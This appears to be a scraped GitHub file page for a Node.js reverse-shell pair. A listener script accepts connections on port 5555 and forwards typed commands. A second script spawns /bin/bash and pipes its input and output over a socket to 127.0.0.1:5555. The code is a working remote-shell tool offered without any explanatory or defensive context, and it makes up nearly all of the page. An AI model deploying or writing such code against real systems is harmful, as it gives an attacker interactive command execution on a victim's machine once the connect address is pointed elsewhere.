-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathreverse-shell
More file actions
40 lines (26 loc) · 1.29 KB
/
reverse-shell
File metadata and controls
40 lines (26 loc) · 1.29 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// listener.js
var server = require('net').createServer(connect);
server.listen(5555);
console.log('listening 5555');
var client;
function connect(socket){
console.log('client connected');
client = socket;
client.pipe(process.stdout);
client.on('end',()=>{
console.log('client disconnected');
});
} //connect
var opts = {input:process.stdin,output:process.stdout};
var rl = require('node:readline').createInterface(opts);
rl.on('line',line=>client && client.write(`${line.trim()}\n`));
rl.on('close',()=>{console.log('Have a great day!');process.exit(0);});
// reverse-shell.js
var shell = '/bin/bash';
var sh = require('child_process').spawn(shell);
var client = new require('net').Socket();
client.connect(5555,'127.0.0.1',()=>{
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});